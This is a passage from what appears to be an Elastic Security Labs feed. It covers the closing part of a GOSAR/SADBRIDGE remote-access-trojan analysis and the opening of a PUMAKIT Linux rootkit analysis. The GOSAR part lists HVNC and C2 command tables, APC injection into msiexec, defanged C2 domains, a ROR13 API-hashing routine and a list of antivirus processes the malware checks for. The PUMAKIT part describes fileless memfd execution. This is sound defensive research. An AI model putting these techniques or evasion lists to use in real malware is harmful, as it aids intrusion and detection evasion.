downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p> <p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p> <p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's main thread. When the thread is resumed, the queued shellcode is executed.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p> <p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p> <h4>HVNC</h4> <p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p> <ul> <li>ResolveHVNCCommand</li> <li>ResolveGetHVNCScreen</li> <li>ResolveStopHVNC</li> <li>ResolveDoHVNCKeyboardEvent</li> <li>ResolveDoHVNCMouseEvent</li> </ul> <p>The first command that is executed is <code>ResolveGetHVNCScreen</code> which will first initialise it and set up a view, it uses an embedded native DLL <code>HiddenDesktop.dll</code> in base64 format, the DLL is reflectively loaded into memory and executed.</p> <p>The DLL is responsible for executing low level APIs to setup the HVNC, with a total of 7 exported functions:</p> <ul> <li>ExcuteCommand</li> <li>DoMouseScroll</li> <li>DoMouseRightClick</li> <li>DoMouseMove</li> <li>DoMouseLeftClick</li> <li>DoKeyPress</li> <li>CaptureScreen</li> </ul> <p>The first export function called is <code>Initialise</code> to initialise a desktop with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-createdesktopa"><code>CreateDesktopA</code></a> API. This HVNC implementation handles 17 commands in total that can be found in <code>ExcuteCommand</code> export, as noted it does have a typo in the name, the command ID is forwarded from the malware’s command <code>ResolveHVNCCommand</code> that will call <code>ExcuteCommand</code>.</p> <table> <thead> <tr> <th align="left">Command ID</th> <th align="left">Description</th> </tr> </thead> <tbody> <tr> <td align="left">0x401</td> <td align="left">The function first disables taskbar button grouping by setting the <code>TaskbarGlomLevel</code> registry key to <code>2</code> under <code>Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</code>. Next, it ensures the taskbar is always visible and on top by using <code>SHAppBarMessage</code> with the <code>ABM_SETSTATE</code> command, setting the state to <code>ABS_ALWAYSONTOP</code>.</td> </tr> <tr> <td align="left">0x402</td> <td align="left">Spawns a RUN dialog box by executing the 61th export function of <code>shell32.dll</code>.<code>C:\Windows\system32\rundll32.exe shell32.dll,#61</code></td> </tr> <tr> <td align="left">0x403</td> <td align="left">Runs an instance of <code>powershell.exe</code></td> </tr> <tr> <td align="left">0x404</td> <td align="left">Executes a PE file stored in <code>C:\\ProgramData\\shell.log</code></td> </tr> <tr> <td align="left">0x405</td> <td align="left">Runs an instance of <code>chrome.exe</code></td> </tr> <tr> <td align="left">0x406</td> <td align="left">Runs an instance of <code>msedge.exe</code></td> </tr> <tr> <td align="left">0x407</td> <td align="left">Runs an instance of <code>firefox.exe</code></td> </tr> <tr> <td align="left">0x408</td> <td align="left">Runs an instance of <code>iexplore.exe</code></td> </tr> <tr> <td align="left">0x409</td> <td align="left">Runs an instance of <code>360se.exe</code></td> </tr> <tr> <td align="left">0x40A</td> <td align="left">Runs an instance of <code>360ChromeX.exe</code>.</td> </tr> <tr> <td align="left">0x40B</td> <td align="left">Runs an instance of <code>SogouExplorer.exe</code></td> </tr> <tr> <td align="left">0x40C</td> <td align="left">Close current window</td> </tr> <tr> <td align="left">0x40D</td> <td align="left">Minimizes the specified window</td> </tr> <tr> <td align="left">0x40E</td> <td align="left">Activates the window and displays it as a maximized window</td> </tr> <tr> <td align="left">0x40F</td> <td align="left">Kills the process of a window</td> </tr> <tr> <td align="left">0x410</td> <td align="left">Sets the clipboard</td> </tr> <tr> <td align="left">0x411</td> <td align="left">Clears the Clipboard</td> </tr> </tbody> </table> <h4>Screenshot</h4> <p>The malware loads reflectively the third and last PE DLL embedded in base64 format named <code>Capture.dll</code>, it has 5 export functions:</p> <ul> <li>CaptureFirstScreen</li> <li>CaptureNextScreen</li> <li>GetBitmapInfo</li> <li>GetBitmapInfoSize</li> <li>SetQuality</li> </ul> <p>The library is first initialized by calling <code>resolvers_ResolveGetBitmapInfo</code> that reflectively loads and executes its <code>DllEntryPoint</code> which will setup the screen capture structures using common Windows APIs like <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc"><code>CreateCompatibleDC</code></a>, <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatiblebitmap"><code>CreateCompatibleBitmap</code></a> and <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection"><code>CreateDIBSection</code></a>. The 2 export functions <code>CaptureFirstScreen</code> and <code>CaptureNextScreen</code> are used to capture a screenshot of the victim's desktop as a JPEG image.</p> <h3>Observation</h3> <p>Interestingly, the original .NET QUASAR server can still be used to receive beaconing from GOSAR samples, as they have retained the same communication protocol. However, operational use of it would require significant modifications to support GOSAR functionalities.</p> <p>It is unclear whether the authors updated or extended the open source .NET QUASAR server, or developed a completely new one. It is worth mentioning that they have retained the default listening port, 1080, consistent with the original implementation.</p> <h3>New functionality</h3> <p>The following table provides a description of all the newly added commands:</p> <table> <thead> <tr> <th align="left">New commands</th> <th align="left"></th> </tr> </thead> <tbody> <tr> <td align="left">ResolveDoRoboCopy</td> <td align="left">Executes <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/robocopy"><code>RoboCopy</code></a> command to copy files</td> </tr> <tr> <td align="left">ResolveDoCompressFiles</td> <td align="left">Compress files in a zip format</td> </tr> <tr> <td align="left">ResolveDoExtractFile</td> <td align="left">Extract a zip file</td> </tr> <tr> <td align="left">ResolveDoCopyFiles</td> <td align="left">Copies a directory or file in the infected machine</td> </tr> <tr> <td align="left">ResolveGetRunLogs</td> <td align="left">Get available logs</td> </tr> <tr> <td align="left">ResolveHVNCCommand</td> <td align="left">Execute a HVNC command</td> </tr> <tr> <td align="left">ResolveGetHVNCScreen</td> <td align="left">Initiate HVNC</td> </tr> <tr> <td align="left">ResolveStopHVNC</td> <td align="left">Stop the HVNC session</td> </tr> <tr> <td align="left">ResolveDoHVNCKeyboardEvent</td> <td align="left">Send keyboard event to the HVNC</td> </tr> <tr> <td align="left">ResolveDoHVNCMouseEvent</td> <td align="left">Send mouse event to the HVNC</td> </tr> <tr> <td align="left">ResolveDoExecutePlugin</td> <td align="left">Execute a plugin</td> </tr> <tr> <td align="left">ResolveGetProcesses</td> <td align="left">Get a list of running processes</td> </tr> <tr> <td align="left">ResolveDoProcessStart</td> <td align="left">Start a process</td> </tr> <tr> <td align="left">ResolveDoProcessEnd</td> <td align="left">Kill a process</td> </tr> <tr> <td align="left">ResolveGetBitmapInfo</td> <td align="left">Retrieve the <a href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfo"><strong>BITMAPINFO</strong></a> structure for the current screen's display settings</td> </tr> <tr> <td align="left">ResolveGetMonitors</td> <td align="left">Enumerate victim’s display monitors with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-enumdisplaymonitors"><code>EnumDisplayMonitors</code></a> API</td> </tr> <tr> <td align="left">ResolveGetDesktop</td> <td align="left">Start screen capture functionality</td> </tr> <tr> <td align="left">ResolveStopGetDesktop</td> <td align="left">Stop the screen capture functionality</td> </tr> <tr> <td align="left">ResolveNewShellExecute</td> <td align="left">Opens pipes to a spawned cmd.exe process and send commands to it</td> </tr> <tr> <td align="left">ResolveGetSchTasks</td> <td align="left">Get scheduled tasks by running the command <code>schtasks /query /fo list /v</code></td> </tr> <tr> <td align="left">ResolveGetScreenshot</td> <td align="left">Capture a screenshot of the victim’s desktop</td> </tr> <tr> <td align="left">ResolveGetServices</td> <td align="left">Get the list of services with a <strong>WMI</strong> query: <code>select * from Win32_Service</code></td> </tr> <tr> <td align="left">ResolveDoServiceOperation</td> <td align="left">Start or stop a service</td> </tr> <tr> <td align="left">ResolveDoDisableMultiLogon</td> <td align="left">Disable multiple session by user by setting the value <code>fSingleSessionPerUser</code> to 1 under the key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\TerminalServer</code></td> </tr> <tr> <td align="left">ResolveDoRestoreNLA</td> <td align="left">Restores the security settings for Remote Desktop Protocol (RDP), enabling <strong>Network Level Authentication</strong> (NLA) and enforcing <strong>SSL/TLS</strong> encryption for secure communication.</td> </tr> <tr> <td align="left">ResolveGetRemoteClientInformation</td> <td align="left">Get a list of all local users that are enabled, the <strong>RDP por</strong>t and <strong>LAN IP</strong> and <strong>OS specific information</strong>: <strong>DisplayVersion</strong>, <strong>SystemRoot</strong> and <strong>CurrentBuildNumber</strong> extracted from the registry key <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></td> </tr> <tr> <td align="left">ResolveDoInstallWrapper</td> <td align="left">Setup a Hidden Remote Desktop Protocol (<strong>HRDP</strong>)</td> </tr> <tr> <td align="left">ResolveDoUninstallWrapper</td> <td align="left">Uninstall <strong>HRDP</strong></td> </tr> <tr> <td align="left">ResolveDoRecoverPrivileges</td> <td align="left">Restores the original <strong><code>HKEY_LOCAL_MACHINE\\SAM\\SAM</code></strong> registry before changes were made during the installation of the <strong>HRDP</strong></td> </tr> <tr> <td align="left">ResolveGetRemoteSessions</td> <td align="left">Retrieve information about the RDP sessions on the machine.</td> </tr> <tr> <td align="left">ResolveDoLogoffSession</td> <td align="left">Logoff RDP session with <a href="https://learn.microsoft.com/en-us/windows/win32/api/wtsapi32/nf-wtsapi32-wtslogoffsession">**<code>WTSLogoffSession</code></a>** API</td> </tr> <tr> <td align="left">ResolveGetSystemInfo</td> <td align="left">Get system information</td> </tr> <tr> <td align="left">ResolveGetConnections</td> <td align="left">Get all the connections in the machine</td> </tr> <tr> <td align="left">ResolveDoCloseConnection</td> <td align="left">Not implemented</td> </tr> </tbody> </table> <h2>Malware and MITRE ATT&CK</h2> <p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p> <h3>Tactics</h3> <p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p> <ul> <li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li> <li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li> <li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li> <li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li> <li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li> <li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li> <li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li> <li><a href="https://attack.mitre.org/tactics/TA0004/">Privilege Escalation</a></li> </ul> <h3>Techniques</h3> <p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p> <ul> <li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li> <li><a href="https://attack.mitre.org/techniques/T1056/001/">Input Capture: Keylogging</a></li> <li><a href="https://attack.mitre.org/techniques/T1055/004/">Process Injection: Asynchronous Procedure Call</a></li> <li><a href="https://attack.mitre.org/techniques/T1057/">Process Discovery</a></li> <li><a href="https://attack.mitre.org/techniques/T1564/003/">Hide Artifacts: Hidden Window</a></li> <li><a href="https://attack.mitre.org/techniques/T1543/003/">Create or Modify System Process: Windows Service</a></li> <li><a href="https://attack.mitre.org/techniques/T1571/">Non-Standard Port</a></li> <li><a href="https://attack.mitre.org/techniques/T1548/002/">Abuse Elevation Control Mechanism: Bypass User Account Control</a></li> <li><a href="https://attack.mitre.org/techniques/T1027">Obfuscated Files or Information</a></li> <li><a href="https://attack.mitre.org/techniques/T1562/001/">Impair Defenses: Disable or Modify Tools</a></li> <li><a href="https://attack.mitre.org/techniques/T1497/003/">Virtualization/Sandbox Evasion: Time Based Evasion</a></li> </ul> <h2>Mitigating REF3864</h2> <h3>Detection</h3> <ul> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_amsi_bypass_powershell.toml">Potential Antimalware Scan Interface Bypass via PowerShell</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_printspooler_childprocess.toml">Unusual Print Spooler Child Process</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/execution_from_unusual_path_cmdline.toml">Execution from Unusual Directory - Command Line</a></li> <li><a href="https://www.elastic.co/guide/en/security/current/external-ip-lookup-from-non-browser-process.html">External IP Lookup from Non-Browser Process</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_unusual_parentchild_relationship.toml">Unusual Parent-Child Relationship</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_unusual_network_connection_via_dllhost.toml">Unusual Network Connection via DllHost</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_services_registry.toml">Unusual Persistence via Services Registry</a></li> <li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_parent_process_pid_spoofing.toml">Parent Process PID Spoofing</a></li> </ul> <h3>Prevention</h3> <ul> <li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_masquerading_process_with_unusual_args_and_netcon.toml">Network Connection via Process with Unusual Arguments</a></li> <li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_unusual_svchost.toml">Potential Masquerading as SVCHOST</a></li> <li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_netcon_dll_suspicious_callstack.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li> <li><a href="https://github.com/elastic/endpoint-rules/blob/95b23ae32ce1445a8a2f333dab973de313b14016/rules/windows/privilege_escalation_uac_bypass_com_interface_icmluautil.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li> <li><a href="https://github.com/elastic/endpoint-rules/blob/main/rules/windows/defense_evasion_susp_imageload_timestomp.toml">Potential Image Load with a Spoofed Creation Time</a></li> </ul> <h4>YARA</h4> <p>Elastic Security has created YARA rules to identify this activity.</p> <ul> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Trojan_Gosar.yar">Multi.Trojan.Gosar</a></li> <li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SadBridge.yar">Windows.Trojan.SadBridge</a></li> </ul> <h2>Observations</h2> <p>The following observables were discussed in this research:</p> <table> <thead> <tr> <th align="left">Observable</th> <th align="left">Type</th> <th align="left">Name</th> <th align="left">Reference</th> </tr> </thead> <tbody> <tr> <td align="left">opera-x[.]net</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">Landing page</td> </tr> <tr> <td align="left">teledown-cn[.]com</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">Landing page</td> </tr> <tr> <td align="left">15af8c34e25268b79022d3434aa4b823ad9d34f3efc6a8124ecf0276700ecc39</td> <td align="left">SHA-256</td> <td align="left"><code>NetFxRepairTools.msi</code></td> <td align="left">MSI</td> </tr> <tr> <td align="left">accd651f58dd3f7eaaa06df051e4c09d2edac67bb046a2dcb262aa6db4291de7</td> <td align="left">SHA-256</td> <td align="left"><code>x64bridge.dll</code></td> <td align="left">SADBRIDGE</td> </tr> <tr> <td align="left">7964a9f1732911e9e9b9e05cd7e997b0e4e2e14709490a1b657673011bc54210</td> <td align="left">SHA-256</td> <td align="left"></td> <td align="left">GOSAR</td> </tr> <tr> <td align="left">ferp.googledns[.]io</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">GOSAR C2 Server</td> </tr> <tr> <td align="left">hk-dns.secssl[.]com</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">GOSAR C2 Server</td> </tr> <tr> <td align="left">hk-dns.winsiked[.]com</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">GOSAR C2 Server</td> </tr> <tr> <td align="left">hk-dns.wkossclsaleklddeff[.]is</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">GOSAR C2 Server</td> </tr> <tr> <td align="left">hk-dns.wkossclsaleklddeff[.]io</td> <td align="left">domain-name</td> <td align="left"></td> <td align="left">GOSAR C2 Server</td> </tr> </tbody> </table> <h2>References</h2> <p>The following were referenced throughout the above research:</p> <ul> <li><a href="https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html">https://zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html</a></li> <li><a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">https://www.sonicwall.com/blog/project-androm-backdoor-trojan</a></li> <li><a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/</a></li> <li><a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512</a></li> </ul> <h2>Appendix</h2> <p>Hashing algorithm (SADBRIDGE)</p> <pre><code class="language-py">def ror(x, n, max_bits=32) -> int: """Rotate right within a max bit limit, default 32-bit.""" n %= max_bits return ((x >> n) | (x << (max_bits - n))) & (2**max_bits - 1) def ror_13(data) -> int: data = data.encode('ascii') hash_value = 0 for byte in data: hash_value = ror(hash_value, 13) if byte >= 0x61: byte -= 32 # Convert to uppercase hash_value = (hash_value + byte) & 0xFFFFFFFF return hash_value def generate_hash(data, dll) -> int: dll_hash = ror_13(dll) result = (dll_hash + ror_13(data)) & 0xFFFFFFFF return hex(result) </code></pre> <h3>AV products checked in GOSAR</h3> <table> <thead> <tr> <th align="center">360sd.exe</th> <th align="center">kswebshield.exe</th> </tr> </thead> <tbody> <tr> <td align="center">360tray.exe</td> <td align="center">kvmonxp.exe</td> </tr> <tr> <td align="center">a2guard.exe</td> <td align="center">kxetray.exe</td> </tr> <tr> <td align="center">ad-watch.exe</td> <td align="center">mcshield.exe</td> </tr> <tr> <td align="center">arcatasksservice.exe</td> <td align="center">mcshield.exe</td> </tr> <tr> <td align="center">ashdisp.exe</td> <td align="center">miner.exe</td> </tr> <tr> <td align="center">avcenter.exe</td> <td align="center">mongoosagui.exe</td> </tr> <tr> <td align="center">avg.exe</td> <td align="center">mpmon.exe</td> </tr> <tr> <td align="center">avgaurd.exe</td> <td align="center">msmpeng.exe</td> </tr> <tr> <td align="center">avgwdsvc.exe</td> <td align="center">mssecess.exe</td> </tr> <tr> <td align="center">avk.exe</td> <td align="center">nspupsvc.exe</td> </tr> <tr> <td align="center">avp.exe</td> <td align="center">ntrtscan.exe</td> </tr> <tr> <td align="center">avp.exe</td> <td align="center">patray.exe</td> </tr> <tr> <td align="center">avwatchservice.exe</td> <td align="center">pccntmon.exe</td> </tr> <tr> <td align="center">ayagent.aye</td> <td align="center">psafesystray.exe</td> </tr> <tr> <td align="center">baidusdsvc.exe</td> <td align="center">qqpcrtp.exe</td> </tr> <tr> <td align="center">bkavservice.exe</td> <td align="center">quhlpsvc.EXE</td> </tr> <tr> <td align="center">ccapp.exe</td> <td align="center">ravmond.exe</td> </tr> <tr> <td align="center">ccSetMgr.exe</td> <td align="center">remupd.exe</td> </tr> <tr> <td align="center">ccsvchst.exe</td> <td align="center">rfwmain.exe</td> </tr> <tr> <td align="center">cksoftshiedantivirus4.exe</td> <td align="center">rtvscan.exe</td> </tr> <tr> <td align="center">cleaner8.exe</td> <td align="center">safedog.exe</td> </tr> <tr> <td align="center">cmctrayicon.exe</td> <td align="center">savprogress.exe</td> </tr> <tr> <td align="center">coranticontrolcenter32.exe</td> <td align="center">sbamsvc.exe</td> </tr> <tr> <td align="center">cpf.exe</td> <td align="center">spidernt.exe</td> </tr> <tr> <td align="center">egui.exe</td> <td align="center">spywareterminatorshield.exe</td> </tr> <tr> <td align="center">f-prot.EXE</td> <td align="center">tmbmsrv.exe</td> </tr> <tr> <td align="center">f-prot.exe</td> <td align="center">unthreat.exe</td> </tr> <tr> <td align="center">f-secure.exe</td> <td align="center">usysdiag.exe</td> </tr> <tr> <td align="center">fortitray.exe</td> <td align="center">v3svc.exe</td> </tr> <tr> <td align="center">hipstray.exe</td> <td align="center">vba32lder.exe</td> </tr> <tr> <td align="center">iptray.exe</td> <td align="center">vsmon.exe</td> </tr> <tr> <td align="center">k7tsecurity.exe</td> <td align="center">vsserv.exe</td> </tr> <tr> <td align="center">knsdtray.exe</td> <td align="center">wsctrl.exe</td> </tr> <tr> <td align="center">kpfwtray.exe</td> <td align="center">yunsuo_agent_daemon.exe</td> </tr> <tr> <td align="center">ksafe.exe</td> <td align="center">yunsuo_agent_service.exe</td> </tr> </tbody> </table> ]]></content:encoded> <enclosure url="https://www.elastic.co/security-labs/assets/images/under-the-sadbridge-with-gosar/Security Labs Images 21.jpg" length="0" type="image/jpg"/> </item> <item> <title><![CDATA[Declawing PUMAKIT]]></title> <link>https://www.elastic.co/security-labs/declawing-pumakit</link> <guid>declawing-pumakit</guid> <pubDate>Thu, 12 Dec 2024 00:00:00 GMT</pubDate> <description><![CDATA[PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers.]]></description> <content:encoded><![CDATA[<h2>PUMAKIT at a glance</h2> <p>PUMAKIT is a sophisticated piece of malware, initially uncovered during routine threat hunting on VirusTotal and named after developer-embedded strings found within its binary. Its multi-stage architecture consists of a dropper (<code>cron</code>), two memory-resident executables (<code>/memfd:tgt</code> and <code>/memfd:wpn</code>), an LKM rootkit module and a shared object (SO) userland rootkit.</p> <p>The rootkit component, referenced by the malware authors as “PUMA", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information. Through its staged deployment, the LKM rootkitensures it only activates when specific conditions, such as secure boot checks or kernel symbol availability, are met. These conditions are verified by scanning the Linux kernel, and all necessary files are embedded as ELF binaries within the dropper.</p> <p>Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.</p> <h2>Key takeaways</h2> <ul> <li><strong>Multi-Stage Architecture</strong>: The malware combines a dropper, two memory-resident executables, an LKM rootkit, and an SO userland rootkit, activating only under specific conditions.</li> <li><strong>Advanced Stealth Mechanisms</strong>: Hooks 18 syscalls and several kernel functions using <code>ftrace()</code> to hide files, directories, and the rootkit itself, while evading debugging attempts.</li> <li><strong>Unique Privilege Escalation</strong>: Utilizes unconventional hooking methods like the <code>rmdir()</code> syscall for escalating privileges and interacting with the rootkit.</li> <li><strong>Critical Functionalities</strong>: Includes privilege escalation, C2 communication, anti-debugging, and system manipulation to maintain persistence and control.</li> </ul> <h2>PUMAKIT Discovery</h2> <p>During routine threat hunting on VirusTotal, we came across an intriguing binary named <a href="https://www.virustotal.com/gui/file/30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f">cron</a>. The binary was first uploaded on September 4, 2024, with 0 detections, raising suspicions about its potential stealthiness. Upon further examination, we discovered another related artifact, <code>/memfd:wpn (deleted)</code><a href="https://www.virustotal.com/gui/file/71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24">71cc6a6547b5afda1844792ace7d5437d7e8d6db1ba995e1b2fb760699693f24</a>, uploaded on the same day, also with 0 detections.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image13.png" alt="VirusTotal Hunting" /></p> <p>What caught our attention were the distinct strings embedded in these binaries, hinting at potential manipulation of the <code>vmlinuz</code> kernel package in <code>/boot/</code>. This prompted a deeper analysis of the samples, leading to interesting findings about their behavior and purpose.</p> <h2>PUMAKIT code analysis</h2> <p>PUMAKIT, named after its embedded LKM rootkit module (named "PUMA" by the malware authors) and Kitsune, the SO userland rootkit, employs a multi-stage architecture, starting with a dropper that initiates an execution chain. The process begins with the <code>cron</code> binary, which creates two memory-resident executables: <code>/memfd:tgt (deleted)</code> and <code>/memfd:wpn (deleted)</code>. While <code>/memfd:tgt</code> serves as a benign Cron binary, <code>/memfd:wpn</code> acts as a rootkit loader. The loader is responsible for evaluating system conditions, executing a temporary script (<code>/tmp/script.sh</code>), and ultimately deploying the LKM rootkit. The LKM rootkit contains an embedded SO file - Kitsune - to interact with the rootkit from userspace. This execution chain is displayed below.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image10.png" alt="PUMAKIT infection chain" title="PUMAKIT infection chain" /></p> <p>This structured design enables PUMAKIT to execute its payload only when specific criteria are met, ensuring stealth and reducing the likelihood of detection. Each stage of the process is meticulously crafted to hide its presence, leveraging memory-resident files and precise checks on the target environment.</p> <p>In this section, we will dive deeper into the code analysis for the different stages, exploring its components and their role in enabling this sophisticated multi-stage malware.</p> <h3>Stage 1: Cron overview</h3> <p>The <code>cron</code> binary acts as a dropper. The function below serves as the main logic handler in a PUMAKIT malware sample. Its primary goals are:</p> <ol> <li>Check command-line arguments for a specific keyword (<code>"Huinder"</code>).</li> <li>If not found, embed and run hidden payloads entirely from memory without dropping them into the filesystem.</li> <li>If found, handle specific “extraction” arguments to dump its embedded components to disk and then gracefully exit.</li> </ol> <p>In short, the malware tries to remain stealthy. If run usually (without a particular argument), it executes hidden ELF binaries without leaving traces on disk, possibly masquerading as a legitimate process (like <code>cron</code>).</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image14.png" alt="The main function of the initial dropper" title="The main function of the initial dropper" /></p> <p>If the string <code>Huinder</code> isn’t found among the arguments, the code inside <code>if (!argv_)</code> executes:</p> <p><code>writeToMemfd(...)</code>: This is a hallmark of fileless execution. <code>memfd_create</code> allows the binary to exist entirely in memory. The malware writes its embedded payloads (<code>tgtElfp</code> and <code>wpnElfp</code>) into anonymous file descriptors rather than dropping them onto disk.</p> <p><code>fork()</code> and <code>execveat()</code>: The malware forks into a child and parent process. The child redirects its standard output and error to <code>/dev/null</code> to avoid leaving logs and then executes the “weapon” payload (<code>wpnElfp</code>) using <code>execveat()</code>. The parent waits for the child and then executes the “target” payload (<code>tgtElfp</code>). Both payloads are executed from memory, not from a file on disk, making detection and forensic analysis more difficult.</p> <p>The choice of <code>execveat()</code> is interesting—it’s a newer syscall that allows executing a program referred to by a file descriptor. This further supports the fileless nature of this malware’s execution.</p> <p>We have identified that the <code>tgt</code> file is a legitimate <code>cron</code> binary. It is loaded in memory and executed after the rootkit loader (<code>wpn</code>) is executed.</p> <p>After execution, the binary remains active on the host.</p> <pre><code class="language-bash">> ps aux root 2138 ./30b26707d5fb407ef39ebee37ded7edeea2890fb5ec1ebfa09a3b3edfc80db1f </code></pre> <p>Below is a listing of the file descriptors for this process. These file descriptors show the memory-resident files created by the dropper.</p> <pre><code class="language-bash">root@debian11-rg:/tmp# ls -lah /proc/2138/fd total 0 dr-x------ 2 root root 0 Dec 6 09:57 . dr-xr-xr-x 9 root root 0 Dec 6 09:57 .. lr-x------ 1 root root 64 Dec 6 09:57 0 -> /dev/null l-wx------ 1 root root 64 Dec 6 09:57 1 -> /dev/null l-wx------ 1 root root 64 Dec 6 09:57 2 -> /dev/null lrwx------ 1 root root 64 Dec 6 09:57 3 -> '/memfd:tgt (deleted)' lrwx------ 1 root root 64 Dec 6 09:57 4 -> '/memfd:wpn (deleted)' lrwx------ 1 root root 64 Dec 6 09:57 5 -> /run/crond.pid lrwx------ 1 root root 64 Dec 6 09:57 6 -> 'socket:[20433]' </code></pre> <p>Following the references we can see the binaries that are loaded in the sample. We can simply copy the bytes into a new file for further analysis using the offset and sizes.</p> <p><img src="https://www.elastic.co/security-labs/assets/images/declawing-pumakit/image12.png" alt="Embedded ELF binary" title="Embedded ELF binary" /></p> <p>Upon extraction, we find the following two new files:</p> <ul> <li><code>Wpn</code>: <code>cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe</code></li> <li><code>Tgt</code>: <code>934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136</code></li> </ul> <p>We now have the dumps of the two memory files.</p> <h3>Stage 2: Memory-resident executables overview</h3> <p>Examining the <a href="https://www.virustotal.com/gui/file/934955f0411538eebb24694982f546907f3c6df8534d6019b7ff165c4d104136">/memfd:tgt</a> ELF file, it is clear that this is the default Ubuntu Linux Cron binary. There appear to be no modifications to the binary.</p> <p>The <a href="https://www.virustotal.com/gui/file/cb070cc9223445113c3217f05ef85a930f626d3feaaea54d8585aaed3c2b3cfe">/memfd:wpn</a> file is more interesting, as it is the binary responsible for loading the the LKM rootkit. This rootkit loader attempts to hide itself by mimicking it as the <code>/usr/sbin/sshd</code> executable. It checks for particular prerequisites, such as whether secure boot is enabled and the required symbols are available, and if all conditions are met, it loads the kernel module rootkit.</p> 